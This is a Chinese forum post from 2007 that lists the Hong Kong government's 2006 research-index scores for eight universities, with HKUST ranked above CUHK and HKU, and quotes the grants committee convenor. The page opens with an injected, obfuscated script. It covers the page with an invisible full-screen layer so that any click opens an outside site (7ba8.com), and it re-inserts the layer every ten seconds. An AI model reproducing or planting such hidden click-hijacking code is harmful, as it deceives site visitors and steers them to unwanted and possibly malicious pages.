<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>香港政府公布八大学研究水平指数
香港科技大学 8 7 . 1 2
香港中文大学 8 6 . 9 5
香港大学 8 5 . 4 7
岭南大学 7 6 . 3 5
香港城市大学 7 5 . 6 6
香港浸会大学 7 5 . 2 4
香港理工大学 6 2 . 6 2
香港教育学院 3 0 . 4 9
香港政府大学育资助委员会公布八大院校研究指数，科技大学分别击败中文大学及香港大学，排名榜首，研究指数达世界级水平；港大传统名校龙头位置不保，大学教育资助委员会公布的2006年研究评审显示，港大虽然在三甲之内，但将首名之位拱手让与科技大学，更位居中文大学之后只排列第三位。岭南大学大跃进至排名第四；较少从事研究工作的教育学院排名榜尾。资会研究特别小组召集人钱大康称，本港大学在生物医学、人文学科等方面成绩非常卓越，能与英美欧洲的一级大学平起平坐。院校有关成绩将影响它们未来的研究拨款。研究评审工作结果又发现，一众「应用型」大学成绩更亦步亦趋，升幅更较前列三间大学高，而拨款排「尾二」的岭南大学，达标率更由1999年的38.85% 升至76.36%，仅位居三大学之后。为了解受资助院校的员研究是否达国际标准，资会花两年时间对八大院校在 1999 年至 2006 年进行的研究工作进行评审，并按照不同学科分为 13 组别，包括生物学、医学及卫生科学、自然科学、人文学、教育等，然后向全港 3,580 名授进行评审，主要按照他们有多少篇文章在国际期刊上发表、所获得的国际奖项及对专业的影响等作为标准。总体成绩依次为：科大、中大、港大、岭大、城大、浸大、理大、教院。钱大康说，评审员表示本港大学已达到国际级水平，在生物医学、人文学科等方面成绩非常卓越，能与英美欧洲的一级大学平起平坐，还出产多位国际一级学者。各院校总体成绩均有进步，但承认成绩或会影响有关院校未来所获得的研究拨款，「好似分饼仔咁，冇可能个个一样大！」
[ 本帖最后由 zhengweida 于 2007-3-22 00:47 编辑 ] |
收藏